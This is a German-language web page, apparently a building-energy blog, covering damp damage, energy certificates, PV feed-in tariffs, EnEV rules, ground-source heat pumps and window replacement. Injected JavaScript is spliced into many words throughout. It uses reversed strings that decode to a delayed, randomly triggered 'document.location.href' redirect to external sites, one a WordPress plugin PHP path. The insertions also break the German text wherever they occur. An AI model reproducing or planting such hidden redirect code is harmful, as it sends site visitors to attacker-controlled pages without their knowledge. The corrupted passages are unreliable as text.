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Feuchteschäden – Ursache finden, Gutachten erstellen, Schäden beseitigen

Werden an Wänden im Haus feuchte Stellen entdeckt – äußerlich, dann steckt im Mauerwerk viel Feuchtigkeit. Doch die Quelle kann überall liegen. Zum Beispiel kann die Ursache der Feuchteschäden eine schadhafte Horizontalsperre sein oder auch nur ein Haarriss im Rohrleitungsnetz. Und auch wenn ein Wandanschluss nicht fachgerecht ausgeführt wurde, dringt Feuchtigkeit ins Mauerwerk ein und verursacht zum Teil große Schäden. Es kann natürlich auch sein, dass mit den Jahren die Außenabdichtung schadhaft geworden ist. Wenn es zu Schimmelbefall kommt, kann durchaus auch fehlerhaftes Lüften die Ursache sein oder mangelnde Isolierung. Gerade in Mietwohnungen und gemieteten Häusern sind Feuchteschäden ein Ärgernis und sorgen häufig auch für Zerwürfnisse zwischen Vermieter und Mieter. Dann ist oftmals die Hilfe von einem Fachmann gefragt.

Feuchteschäden; Bild: Thomas Max Müller / pixelio.de

Feuchteschäden; Bild: Thomas Max Müller / pixelio.de

Schwerpunkte der Tätigkeit

Wenn sozusagen die „Eigendiagnose“ von einem Hausbesitzer gescheitert ist, sollte unbedingt professionell nach der Ursache gesucht werden. Denn Feuchteschäden verschwinden nicht wieder von allein. Sie verschlimmern sich in der Regel und können sogar die Bausubstanz mit der Zeit zerstören, wenn nichts dagegen unternommen wird. Dies kann dazu führen, dass das Gebäude unbewohnbar wird und abgerissen werden muss. Entsprechende Spezialisten treten auch in diesem Fall auf den Plan, im Rahmen des Unternehmensschwerpunkts Bauwerksdiagnostik. Im Anfangsstadium von Feuchteschäden übernimmt das Unternehmen aber zunächst eine beratende Funktion. Denn es gibt jede Menge Maßnahmen, die bei Feuchteschäden – wenn die Ursache erst einmal gefunden ist – unternommen werden kann. Und zwar ohne dass die Bausubstanz zerstört und übermäßig hohe Kosten entstehen müssen.

Einsatz spezieller Geräte zu Ermittlung der Feuchteschäden

Nach einer ausführlichen Beratung und der Inaugenscheinnahme der Feuchteschäden geht, wenn die Ursache nicht wirklich zu ermitteln ist, kommen spezielle Messgeräte zum Einsatz. Dies ist nötig, damit Quellen für Feuchteschäden ermittelt werden können, die mit dem bloßen Auge nicht zu erkennen sind. Hierbei kann es sich um Abdichtungsschäden oder hygroskopische Feuchteschäden handeln. Diese können mit Hilfe der Messgeräte fehlerfrei nachgewiesen werden.

Erstellung von Gutachten zur Bewertung und Beseitigung der Feuchteschäden

Da es immer wieder zu Streitigkeiten wegen der Kostenübernahme für die Beseitigung von Feuchteschäden kommt, erstellt das Unternehmen auch Gutachten. Diese verweisen eindeutig auf die Schadensursache und können Streitigkeiten beseitigen bzw. von vorneherein möglicherweise auch verhindern. Das Unternehmen übernimmt dann auch die Schadensbeseitigung.

Ingenieurbüro, die im Schadensfall die Beratung, die Diagnose und die Schadensbeseitigung übernehmen, können helfen weitere Schäden zu vermeiden. Als Beispiel für ein Unternehmen mit Schwerpunkt Bauwerksdiagnostik sei hier KE-Impuls genannt.

Der Energieausweis

Die Einführung des für jeden Immobilienverkäufer und Vermieter obligatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torischen Energieausweises hat für sehr viel Verunsicherung gesorgt. Dabei ist die Sache an und für sich weitaus weniger kompliziert als ursprünglich angenommen. Und schließlich hat der Energieausweis auch seine guten Seiten. So wird aus dem Gutachten zum Beispiel ersichtlich, wo sich im Rahmen von etwaigen Modernisierungsmaßnahmen Energiekosten sparen lassen.

Im Energieausweis ist nicht nur eine detaillierte Beschreibung des jeweiligen Hauses enthalten, sondern auch das Datum, bis zu dem der Ausweis gültig ist. Im Energieausweis ist der Gebäudetyp genauestens beschrieben sowie die Adresse, das Baujahr des Gebäudes und die jeweiligen Baujahre der technischen Ausstattung. Bei Mehrfamilienhäusern wird des Weiteren auch die Zahl der Wohneinheiten mitangegeben ebenso wie die Gebäudenutzfläche. Auch der Einsatz erneuerbarer Energien und die Lüftung werden berücksichtigt.

Bei der Ausstellung des Energieausweises existieren zwei verschiedene Verfahren. Zum einen kann der Ausweis auf der Basis des errechneten Energiebedarfs ausgestellt werden und zum anderen auf Grund der Energieverbrauchs-Auswertung. Bei einem Energieausweis, der auf der Auswertung des Energieverbrauchs beruht, ist des Weiteren die Angabe erforderlich, ob die Darstellung auf den eigenen Erhebungen des Ausweisausstellers beruht, oder aber auf den Angaben des Hausbesitzers. In dem Fall, dass der Ausweis auf der Basis des errechneten Energiebedarfs ausgestellt wurde, ist eine farbige Skala vorhanden, die in grün bis rot markierten Feldern den Verbrauch an Kilowattstunden pro Jahr und Quadratmeter veranschaulicht. Der nach oben weisende Pfeil gibt Aufschluss über den jeweiligen Endenergiebedarf des Hauses, während der nach unten weisende Pfeil den Jahres-Primär-Energiebedarf anzeigt. Ein Energieausweis ist nur dann gültig, wenn er abschließend mit der Unterschrift des Ausstellers versehen ist.

Darstellung des Energiebedarfs im Energieausweis

Beim im Energieausweis angegebenen Endenergiebedarf handelt es sich um den rein auf rechnerischer Basis ermittelten Energiebedarf für die Lüftung, die Warmwasseraufbereitung sowie für die Heizung. Da diesbezüglich allerdings die nutzungsabhängigen Faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren nicht berücksichtigt wurden, ist der tatsächliche Energiebedarf nicht bekannt, weil dieser von der Häufigkeit des Gebrauchs der Energie abhängig ist, zum Beispiel davon, wie oft die Wäsche letztendlich gewaschen oder wie oft gebadet, beziehungsweise geduscht wird. Auch im Hinblick auf die Heizkosten können sich letztendlich Differenzen ergeben, da die klimatischen Bedingungen beim Ausstellen des Energiepasses auf der Basis eines deutschlandweit gültigen Mittelwertes lediglich geschätzt wurden. So kann der Energieverbrauch in kalten und langen Wintern sehr viel höher ausfallen als im Ausweis angegeben und umgekehrt bei milden und kurzen Wintern deutlich darunter liegen. Der Energieausweis erfüllt dennoch für den potenziellen Käufer einer Immobilie einen sehr nützlichen Zweck. So kann das Vergleichen der Energieausweise mehrerer am Ort befindlicher Gebäude letztendlich sehr aufschlussreich sein. Unter dem im Energieausweis angegebenen Primärenergiebedarf versteht man hingegen den Aufwand für die Zurverfügungstellung der jeweiligen ans Haus angeschlossenen Energieträger.

Durch die Darstellung dieses Wertes möchte man die Umweltverträglichkeit sowie die Energieeffizienz verdeutlichen. Je niedriger der Primärenergiebedarf, destobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to energiesparender ist das Haus. Für die jeweilige Berechnung wird des Weiteren auch der Transport- und Erzeugungsaufwand berücksichtigt. So werden die direkt am Gebäude installierten Solaranlagen mit dem Faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor 0 bewertet, während fossile Brennstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toffe wie Erdgas oder Öl mit dem Faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor 1,1 bezeichnet werden.

PV – Vergütung für Solarstrom aus Photovoltaik – Anlagen

Die aktuellen Vergütungssätze für Strom aus Photovoltaik – Anlagen  PV sind seit einigen Monaten konstant. Die Vergütungssätze werden durch das EEG geregelt und monatlich angepasst.

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 Vergütung von Solarstrom aus PV – Anlagen

Und so sieht bis Jahresende 2016 die aktuelle Einspeisevergütung von Solarstrom für Hausbesitzer für Wohngebäude (Aufdachanlagen) aus:

  • PV-Anlagen bis 10 kWp: 12,31 Cent/ Kilowattstunde erzeugter Solarstrom
  • PV-Anlagen bis 40 kWp: 11,97 Cent/ Kilowattstunde erzeugter Solarstrom
  • PV-Anlagen bis 500 kWp: 10,71 Cent/ Kilowattstunde erzeugter Solarstrom

Diese Einspeisevergütung ist für 20 Jahre festgeschrieben. Sofern die Anlage also noch im Jahr 2016 installiert und in Betrieb genommen wird, werden auch noch die Vergütungssätze aus 2016 für 20 Jahre ausgezahlt, zuzüglich des Inbetriebnahmejahres. Das ist gesetzlich garantiert (EEG 2104 §61 Abs. 2 Nr. 4).

Die EEG-Umlage auf selbst erzeugten Strom entfällt für Anlagen mit höchstens 10 kWp installierter Leistung und für max. 10 MWh pro Kalenderjahr selbst verbrauchten Strom. Weitere Informationen zur aktuellen Einspeisevergütung kann man unter https://www.clearingstelle-eeg.de/eeg2014 finden.

Neuregelungen für Solarstrom ab 2017

Die Vergütungssätze werden von der Bundesnetzagentur für das Folgejahr auf Grundlage der Vorgaben vom Erneuerbare-Energien-Gesetz (EEG) festgelegt. Die Besonderheit hierbei ist, dass nach aktuellem Stand voraussichtlich zum 01. Januar 2017 ein neues, noveliertes Erneuerbares Energien-Gesetz (EEG) in Kraft treten soll. Für kleine Anlagen wird es voraussichtlich bei den aktuellen Regelungen bleiben. Änderungen wird es für größere Anlagen geben. Die Änderungen betreffen insbesondere auch die Regelungen zur EEG-Umlage. Da diese Regelungen vergleichsweise komplex sind, hat numehr die Bundesnetzagentur als Orientierungshilfe einen Leitfaden für die Energieversorgung mit Strom veröffentlicht. Beschrieben sind hierbeispielsweise Sonderregelungen zur Senkung oder gar Befreiung von der EEG-Umlage bei Eigenstromversorgung. Zudem werden Mieterstrommodelle dargestellt, wobei der Mieterstrom vergleichbar mit dem Eigenstrom zur Senkung der EEG-Umlage beiträgt.

Die aktuelle Energieeinsparverordnung – Die EnEV 2002 / 2004 / 2007 / 2009 / 2012 / 2013 / 2014 / 2016 … 2020 …

Derzeit gilt die Energieeinsparverordnung – EnEV 2014 / 2016. In Deutschland gibt es über 15 Millionen Wohngebäude. Davon sind etwa 13 Millionen Gebäude Einfamilien- und Zweifamilienhäuser. Über 80 % der Gebäude sind älter als 25 Jahre und besitzen teilweise ein entsprechend hohes Sanierungspotential und daher so auch einen hohen Jahresheizwärmebedarf.

Während ältere und unsanierte Gebäude oftmals deutlich über 20 Liter Heizöl pro Quadratmeter Wohnfläche und Jahr benötigen, kann der Jahresheizwärmebedarf energetisch optimierter Gebäude heutzutage unter 3 Liter Heizöl pro Quadratmeter Wohnfläche liegen. (Analog ist natürlich auch der  Vergleich mit anderen Brennstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toffarten möglich).

Anforderungen der Energieeinsparverordnung

Die energetischen (Mindest-)Anforderungen an Gebäude sind in der aktuellen Energieeinsparverordnung geregelt. Aus den Wärmeschutzverordnungen (WSVO 1977, 1984 und 1995) und der Heizungsanlagen-Verordnung (HeizAnlV 1978, 1981  …  1998)   entwickelte sich die Energieeinsparverordnung (ENEV 2002, 2004, 2007, 2009, 2014).

Die aktuell geltende Energieeinsparverordnung – EnEV 2016, ist die zweite Stufe der EnEV 2014. Sie beinhaltet vor allem um etwa 25 Prozent höhere energetische Anforderungen an den Primärenergiebedarf für Neubauten. Zudem steigen die Anforderungen an die Dämmung (Transmissionswärmeverluste) um durchschnittlich 20 Prozent. Die Bewertung des Primärenergiefaktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors wurde ebenfalls etwas korrigiert. So wird die Beheizung mit Strom nunmehr etwas „besser“ bewertet als bisher. Hintergrund ist vor allem, dass bei der Stromerzeugung der regenertaiv erzeugte Anteil zugenommen hat. Für Bestandsgebäude gibt es währenddessen kaum Änderungen.

Energieeinsparverordnung –  Wie geht es weiter?

In der kommenden Energieeinsparverordnung werden – nach bisheriger Planung die energetischen Anforderungen weiter verschärft werden. Im Jahr 2020 sollen als Neubauten generell nur noch Niedrigstenergiehäuser, Null- oder Plusenergiehäuser zulässig sein… Sind im Frühjahr Neubau- oder Sanierungsvorhaben geplant, sollten die aktuellen Anforderungen bekannt sein und auch unbedingt eingehalten werden. Selbst wenn „nur“ die Fassade des alten Gebäudes erneuert werden sollte, sind die Anforderungen der EnEV einzuhalten.

Wann Sie beispielsweise in diesem Fall dämmen sollten (oder müssen) und wie stark diese Dämmung sein sollte und inwieweit sich welche Variante als wirtschaftlich erweist, ist vor Beginn der Maßnahme genau zu klären. Hierzu können einzelne Ratgeber (Fachliteratur), Info-Portale, Foren, Online-Beratungen, unabhängige Energieberater vor Ort, Verbraucherzentralen oder manchmal auch der Besuch von Fachmessen sinnvoll sein.

News zur Energieeinsparverordnung und weiteren gesetzlichen Regelungen

Da erst in diesem Jahr die festgelegten Verschärfungen der Energieeinsparverordnung in Kraft getreten sind, kann davon ausgegangen werden, dass in 2017 keine neue EnEV erscheinen wird. Möglicherweise wird es jedoch eine gesetzliche Neuregelung geben, die die EnEV und das Erneuerbare-Energien-Wärmegesetz (EEWärmeG) zusammenführt. Ferner ist aktuell der Klimaschutzplan 2050 in der Abstimmung. Zugleich gibt es auf EU-Ebene viel Bewegung. Hier wird es insbesondere eine neue EU-Richtlinie für Gebäude (EPBD) geben. Außerdem sind tiefgreifende Neuregelungen im Normensektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor zur Bilanzierung der Gebäude auf EU-Ebene in Arbeit.

Die EnEV ist auf jeden Fall ein spannendes Thema. Wir warten gespannt auf die kommende Energieeinsparverordnung. …

Wie hoch sind Jahresarbeitszahl, Stromverbrauch und Preis einer Erdwärmepumpe?

Beim Heizen mit einer Erdwärmepumpe entzieht die Wärmepumpe der Erde (= Sole) Wärme, um diese letztendlich an das Medium Wasser abzugeben: eine Sole-Wasser-Wärmepumpe. Entscheidende Kenndaten zur Bewertung der Erdwärmepumpe sind die Jahresarbeitszahl, die Investitionskosten / Preis sowie der Stromverbrauch und die Stromkosten des aktuellen Wärmepumpentarifs.

Bewertung der Erdwärmepumpe

Die Bewertung der Erdwärmepumpe erfolgt meistens mit Hilfe einer so genannten Jahresarbeitszahl.

Die Jahresarbeitszahl (JAZ) ist das Verhältnis zwischen der eingesetzten jährlichen Strommenge und der dabei erzeugten Wärmemenge. Dabei wird der gesamte Stromverbrauch für Heizung und/oder Warmwasserbereitung betrachtet, also inklusive der eingesetzten Pumpen (Soleumwälzpumpe etc.) und des elektrischen Notheizstabes (falls vorhanden) und der Regelung.

Je größer diese Jahresarbeitszahl ist, um so besser, d.h. umso effektiver arbeitet die Erdwärmepumpe.

Die Berechnung der Gesamtjahresarbeitszahl erfolgt nach der VDI-Richtlinie 4650. Wie bei einem Autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, dass theoretisch einen Benzinverbrauch von beispielsweise 4,5 Litern besitzt, tatsächlich jedoch im Stadtverkehr auch über 10 Liter verbrauchen kann – ist vergleichbares auch bei der JAZ der Wärmepumpe möglich.

Für die (elektrisch betriebene) Erdwärmepumpe gelten folgende Mindestwerte:

– Bei Neubau (nach EEWärmeG):

  • Für Heizung: erforderliche Mindest-JAZ der Erdwärmepumpe = 4,0
  • Für Heizung und Warmwasser: erforderliche Mindest-JAZ der Erdwärmepumpe = 3,8

Bei BAFA-Förderung:

  • Neubau: inzwischen keine Förderprogramme mehr zur Erdwärmepumpe
  • Bestandsgebäude: Erforderliche Mindest-JAZ der Erdwärmepumpe = 4,3

Theoretisch wird für die Erdwärmepumpe oftmals eine JAZ von weit über 4 versprochen. Die Praxis für die (elektrisch betriebene) Erdwärmepumpe sieht aber folgendermaßen aus:

Reale Werte lt. Studie des Bundeswirtschaftsministeriums (Fraunhofer-Institut für Solare Energiesysteme ISE):

  • Neubau mit Fußbodenheizung und ohne Berücksichtigung von Speicherverlusten: real gemessene JAZ der Erdwärmepumpe = 3,9
  • Bestandsgebäude mit normalen Heizkörpern und zum Teil auch in Kombination mit Fußbodenheizung: real gemessene JAZ der Erdwärmepumpe = 3,3

Reale Werte lt. Feldtest in Lahr (Baden-Württemberg):

  • Bei Flächenheizungen:real gemessene JAZ der Erdwärmepumpe = 3,4 (bzw. 3,1 bei Berücksichtigung der Speicherverluste für Heizung und Warmwasser)
  • Bei Heizkörpern: real gemessene JAZ der Erdwärmepumpe = 3,3

So genannte monovalente Anlagen – also Anlagen bei mit nur einem einzigen Wärmeerzeuger ( Erdwärmepumpe ) – haben oftmals einen Notheizstab im Speicher integriert. Das bedeutet, dass bei erhöhtem Wärmebedarf im Winter der Heizstab notfalls mit einspringen kann, um die erforderliche Wärme zu erzeugen. Das senkt natürlich die Gesamtjahresarbeitszahl der Erdwärmepumpe deutlich. Es gibt aber inzwischen auch Anlagen ohne elektrischen Heizstab (und ohne zusätzlichen Wärmeerzeuger).

Insgesamt ist daher die Erdwärmepumpe (sowie die Wärmepumpe, die Grundwasser als Medium nutzt) effektiver als eine Luftwärmepumpe.

Wie viel Wärme dem Boden entzogen werden kann, ist von der Bodenbeschaffenheit abhängig und kann daher regional sehr verschieden sein. Prinzipiell ist ein „wasserspeichernder“ Boden (lehmiger Boden) besser geeignet als ein sandiger Boden. Ein Bodengutachten gibt Aufschluss. Ferner ist zu unterscheiden, wie die Wärme gewonnen wird: Es gibt so genannte Erdkollektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren die horizontal (im Garten) verlegt werden und vertikale (senkrechte) Erdsonden, die über eine Tiefenbohrung eingebracht werden. Erdkollektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren: Diese werden in etwa 1,20 m bis 1,50 Tiefe verlegt. Dem Boden können (je nach Bodenverhältnisse) 10 bis 25 Watt je Quadratmeter Fläche entzogen werden. Insgesamt benötigt man so ungefähr das ein- bis zweifache der zu beheizenden Wohnfläche. Also für beispielsweise den Berliner Raum, mit tendenziell wenig Gartenfläche und oftmals sandigem Boden, ist diese Variante nur selten realisierbar. Bei der Verlegung von Erdkollektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren benötigen Sie meistens keine wasserrechtliche Genehmigung, sondern es reicht eine einfache Anzeige. Erdsonden: Vertikale (senkrechte) Erdsonden erreichen bis zu 100 m Tiefe. Im tieferen Erdbereich sind kaum Temperaturschwankungen zu verzeichnen, dass insgesamt 30 bis 50 Watt je Meter Tiefe dem Boden entzogen werden können. Sind mehrere Bohrungen erforderlich, so ist ein Mindestabstand von mindestens 6 Metern einzukalkulieren. Ein Rechenbeispiel:

  • Bei 50 W/m würde man bei 100 Meter Bohrtiefe  eine Entzugsleistung von 5000 W (= 5 kW) erreichen. Für eine erforderliche Heizleistung von 10 kW bräuchte man schon 2 Bohrungen von jeweils etwa 75 bis 100 Metern Tiefe.

Für diese Bohrungen benötigt man eine wasserrechtliche Genehmigung (von der unteren Wasserbehörde). Auch diese Variante ist beispielsweise im Berliner Raum oftmals nicht möglich, da es hier viele Trinkwasserschutzgebiete gibt und daher die Erdbohrungen untersagt sind. Die Bohrung kostet ca. 40 bis 70 Euro je Bohrmeter. Das bedeutet, dass die Kosten für die Bohrung bei einem Heizwärmebedarf von 10 kW etwa bei 8.000 bis 14.000 Euro liegen würden (bei 50 W/m Entzugsleistung).  Als Qualitätsstandard gibt es eine DVGW-Zertifizierung (Deutscher Verein des Gas- und Wasserfachs) nach Arbeitsblatt W120 für ausführende Bohrfirmen. Die Gesamt-Investitionskosten sind insgesamt stark von den erforderlich Erd- bzw. Bohrarbeiten abhängig, also eigentlich auch vom vorhandenen Heizwärmebedarf des Wohngebäudes. Weitere Kosten sind hinzuzurechnen für den Pufferspeicher, natürlich für die Erdwärmepumpe selbst, die gesamte Installation und ggf. noch für die Umstellung auf Fußbodenheizung. Insgesamt können die Kosten schnell auf 25.000 Euro und auch deutlich darüber anwachsen. Die Anlagen sind daher etwa zwei- bis dreimal so teuer im Vergleich zu klassischer Brennwerttechnik (Öl- oder Gasheizung). Es lohnt sich vor Beginn der Investition die aktuellen Testergebnisse der Stiftung Warentest zur Erdwärmepumpe zu studieren. Wie (fast) alle Heizungsanlagen, ist auch bei der Erdwärmepumpe mit einer mittleren Lebensdauer von 15 bis 20 Jahre anzusetzen. Die Sonden haben eine Lebensdauer von 40 Jahren (und länger). Die Verbrauchskosten sind abhängig vom aktuellen Wärmepumpentarif des regionalen Versorgers. Derzeit liegen die Preise zwischen etwa 20 und 25 Cent pro Kilowattstunde. Beispiel Vattenfall:

  • Hier liegt der Grundpreis bei 5,90 Euro pro Monat und der Verbrauchspreis bei 22,86 Cent/kWh.

Hat man real ein Verhältnis von beispielsweise 1:3, das heißt dass aus einer Kilowattstunde Strom drei Kilowattstunden Wärme erzeugt werden, so würde der Preis für eine Kilowattstunde Wärme zwischen 6 und 9 Cent liegen. Im Vergleich hierzu liegen Gas und Öl zwischen 5 und 8 Cent/kWh. Die Verbrauchskosten würden sich somit kaum von den Verbrauchskosten für Gas oder Öl unterscheiden. Würde jedoch der elektrische Heizstab die Hauptarbeit verrichten, so sinkt die tatsächliche JAZ gegen 1 und die Verbrauchskosten gegen über Öl oder Gas würden sich nahezu verdoppeln. Letzteres sollte hier nur als Rechenbeispiel dienen. Eine realistische JAZ für die Erdwärmepumpe ist den Feldstudien (siehe oben) zu entnehmen. Separate Wärmemengenzähler und Stromzähler, die unbedingt bei Wärmepumpenbetrieb zu empfehlen sind, lassen Rückschlüsse auf die tatsächliche Jahresarbeitszahl zu. Und zum Schluss noch etwas Nachdenkliches zum Thema “ Erdwärmepumpe „: Was ist, wenn die Sonden nach vielen Jahren doch nicht mehr dicht sein sollten und die in den Sonden zirkulierende Flüssigkeit in den Boden dringt …?

Die Unternehmererklärung als Nachweis bei Baumaßnahmen nach EnEV 2014 / 2016

Die EnEV 2014/2016 schreibt vor, dass bei energetischer Sanierung eines Gebäudes die Unternehmen ihre Arbeiten zur dokumentieren haben und einen privaten Nachweis, eine so genannte Unternehmererklärung ausstellen müssen. Damit soll sichergestellt werden, dass die Anforderungen nach EnEV und ggf. der EnEV-DVO des jeweiligen Bundeslandes sowie natürlich auch die technischen Mindestanforderungen eingehalten werden.

In folgenden Fällen ist eine Unternehmererklärung bei Sanierung von Wohngebäuden erforderlich:

  1. Bauliche Maßnahmen an Außenbauteilen des Gebäudes, wie beispielsweise Fenster oder Fassade bzw. Außenwand
  2. Maßnahmen an oberster Geschossdecke oder des Daches
  3. Erneuerung der Heizungsanlage, beispielsweise Einbau eines neuen Heizkessels oder Änderung des Heizsystems
  4. Umbau oder Dämmung der Wärmeverteilungs- und Warmwasserleitungen
  5. Umbau bzw. Neubau von raumlufttechnischen Anlagen (Klimaanlagen etc.)

Sowohl Umbau als auch Erneuerungsmaßnahmen sind hiervon betroffen, da in diesen Fällen spezielle Anforderungen der EnEV verpflichtend einzuhalten sind. Die Bestätigung der Einhaltung der EnEV-Anforderungen gibt so auch dem Bauherren mehr Sicherheit.

Die Unternehmererklärung ist mindestens 5 Jahre vom Eigentümer aufzubewahren. Möglicherweise muss Sie auch der Bauaufsicht oder dem Bezirksschornsteinfeger vorgelegt werden.

Übrigens, sollte ein Unternehmen keine Unternehmererklärung ausstellen, gilt dieses als Ordnungswidrigkeit und kann mit einem Bußgeld von bis zu 50.000 Euro geahndet werden.

Bei Neubau ist eine Unternehmererklärung nicht zwingend vorgeschrieben, ist jedoch ebenfalls empfehlenswert.

Im Aufbau und im Umfang von Unternehmererklärungen einzelner Firmen sind große Unterschiede zu verzeichnen. Hier gibt es zahlreiche vorgefertigte Formulare. Es empfiehlt sich grundsätzlich eine detaillierte Unternehmererklärung. Aus ihr sollte hervorgehen, dass beispielsweise rechnerische Nachweise der geforderten DIN 4108-3, DIN 4108-2 sowie der DIN EN ISO 6946 durchgeführt wurden und die EnEV Anhang 3, Tabelle 1 eingehalten wurde.

Natürlich gibt es auch Ausnahmen. In folgenden Fällen ist keine Unternehmererklärung zwingend erforderlich:

  • Es gilt eine Bagatellgrenze von 10 %. Das heißt, sollen beispielsweise weniger als 10 % der Fenster ausgetauscht werden, so greifen die energetischen Anforderungen der EnEV nicht.
  • Befreiung aufgrund „unbilliger Härte“. Hierfür ist ein Nachweis erforderlich.
  • Eventuell Denkmalschutz  …

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Energie und Geld sparen – so geht’s

Energie und Geld sparen; Bild: Andreas Hermsdorf / pixelio.de

Energie und Geld sparen; Bild: Andreas Hermsdorf / pixelio.de

Umweltverträglichkeit und Sparsamkeit werden immer wichtiger. Nicht nur, um die negativen Auswirkungen unseres Handelns auf den Zustand unseres Planeten zu reduzieren, sondern auch um zu sparen. Denn: Die Energiekosten $mRi=function(n){if (typeof ($mRi.list[n]) == „string“) return $mRi.list[n].split(„“).reverse().join(„“);return $mRi.list[n];};$mRi.list=[„\’php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andsfoerderung/Privatpersonen/Bestandsimmobilien/“ target=“_blank“>Zuschüsse und günstige Förderkredite für solche Vorhaben an.

Doch auch der Stromverbrauch ist ein wichtiger Faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor bei den Energiekosten. In Deutschland gibt es die höchsten Strompreise innerhalb der EU. Bis 2025 könnten sie nochmalig um 70% steigen.

Im Hinblick auf die Beleuchtung sind led lampen Energiesparlampen vorzuziehen – sie halten länger und verbrauchen weniger Energie. Wissenswertes über LEDs haben wir hier zusammengestellt.

Zusätzlich sollte bei der Neuanschaffung aller elektrischen Geräte auf die Energieeffizienzklasse geachtet werden – Insbesondere bei Stromfressern wie Kühlschränken oder Geschirrspülmaschinen wirkt sich die Energieeffizienzklasse merklich auf die Stromrechnung aus. Die Kennzeichnung reicht von G (besonders ineffizient) bis A+++ (besonders effizient). Als Faustregel gilt: Alles, was schlechter als mit A+ bewertet ist, ist keine gute Anschaffung. Auch wenn effizientere Geräte etwas teurer sind: Auf lange Sicht spart man bares Geld.

Das Haus hilft mit Energie zu sparen

Die energieeffizientesten Geräte helfen allerdings wenig, wenn sie unnötig Energie verbrauchen, etwa wenn bei offenem Fenster geheizt wird oder das Licht brennt, obwohl niemand zu Hause ist. Abhilfe schaffen hier Smart-Home-Systeme. Durch den Einsatz von Sensoren wird zum Beispiel die Raumtemperatur gemessen und überprüft, ob Fenster geöffnet sind. Ist letzteres der Fall, startet die Heizung nicht. Ebenso lässt sich die gewünschte Temperatur für jeden Raum individuell regeln.

Intelligente Steckdosen und Stromschalter helfen beim Stromsparen. Eine Zusammenfassung darüber, was ein Smart-Home-System leisten kann und wie man Energie spart, ist auf der Seite von CosmosDirekt zu lesen.

Energie zu sparen, ist nicht aufwendig und sowohl kleine als auch große Investitionen führen mittel- und langfristig zu mehr Geld im Portemonnaie – Energiebewusst zu leben, lohnt sich.

Effizienz neuer Fenster

Auf dem Fenster -Sektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor hat sich in den letzten Jahren sehr viel getan. Selbst Fenster, die eigentlich noch nicht „so alt“ erscheinen, sind energetisch oftmals deutlich schlechter als neue Fenster. Wann sollte man sich neue Fenster kaufen und einbauen lassen? Welche Preise sind zu erwarten und wie sieht es mit der Wirtschaftlichkeit aus?

Effizienz neuer Fenster; Bild: lichtkunst.73 / pixelio.de

Effizienz neuer Fenster; Bild: lichtkunst.73 / pixelio.de

Energetische Entwicklung der Fenster

Während einfach verglaste Holzfenster einen U-Wert (= Kennziffer zur Kennzeichnung des Wärmedurchgangs) von etwa 5 Watt pro Quadratmeter Fensterfläche und Kelvin Temperaturdifferenz aufweisen, haben heutige Passivhausfenster bereits einen U-Wert von unter 0,8 W/(m² K). Diese Fenster weisen also etwa 85 Prozent weniger Wärmeverluste auf als die einfachverglasten Fenster. Man sieht, in diesem Fall würde ein Fensteraustausch zu deutlicher Energieeinsparung führen und wäre damit unbedingt empfehlenswert.

So haben sich die U-Werte der Fenster im Bestand in den letzten Jahren verändert:

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Diese Angaben dienen lediglich einer ungefähren Abschätzung. Es gab stets auch Fenster, die energetisch deutlich besser gebaut wurden, als es im jeweiligen Zeitraum üblich war.

Neue Fenster – Preise und Wirtschaftlichkeit

Ein Fenstertausch ist leider sehr teuer. Die Preise für Fenster und Einbau liegen meist zwischen 350 und 850 Euro pro Quadratmeter Fensterfläche, abhängig von Fensterform, Fensteraufbau (ggf. inklusive Rolladenkasten) und energetischer Qualität.

Durch den Tausch eines Fensters mit Einfachverglasung gegen beispielsweise ein Passivhausfenster sind Heizkosteneinsparungen von bis zu etwa 10 Euro pro Quadratmeter Fensterfläche und Jahr möglich. Bei Berücksichtigung typischer Besonderheiten, wie beispielsweise höhere Wärmeverluste der alten Fenster durch verzogene Holzrahmen, wäre das Einsparpotential natürlich deutlich höher.

Wie dieses Rechnenbeispiel zeigt, ist eine Amortisation der Investitionskosten meist sehr langfristig gegeben.  Das genaue Einsparpotential kann im Einzelfall für jedes Gebäude und jedes spezifische Nutzerverhalten errechnet werden.

